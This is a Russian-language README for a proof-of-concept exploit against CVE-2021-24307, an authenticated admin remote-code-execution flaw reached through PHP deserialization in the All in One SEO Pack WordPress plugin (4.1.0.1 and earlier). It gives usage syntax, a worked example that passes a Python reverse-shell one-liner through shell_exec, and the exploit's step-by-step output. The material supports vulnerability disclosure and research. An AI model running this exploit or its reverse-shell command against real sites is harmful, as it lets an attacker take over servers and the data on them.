
Доказательство концепции эксплуатации для CVE-2021-24307 — аутентифицированная RCE в All in One SEO Pack <= 4.1.0.1 через десериализацию PHP, позволяющая выполнение произвольных команд.
Простой PoC аутентифицированного RCE для администратора в AISEO <= 4.1.0.1, приведённый в качестве примера.
Полное описание здесь: https://darkpills.com/php-unserialize-write-up-with-admin-rce-in-all-in-one-seo-pack-cve-2021-24307/
Использование:
php exploit.php url login password php_command arguments [proxy]
Пример:
└─$ php exploit.php http://wordpress/ admin admin shell_exec "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"127.0.0.1\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/bash\")'" localhost:8080
-- All-in-one-seo-pack <= 4.1.0.1 аутентифицированный RCE для администратора --
-- Эксплойт от Vincent MICHEL (@darkpills) --
[+] Аутентификация в wordpress http://wordpress/
[+] Получение nonce WP REST API
[+] Nonce найден: 6aeb9ddf05
[+] Генерация POST-нагрузки для выполнения команды: shell_exec("python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'")
[+] Загрузка ini-файла с настройками импорта
[+] Готово! Проверьте результат где-нибудь (слепое выполнение команд)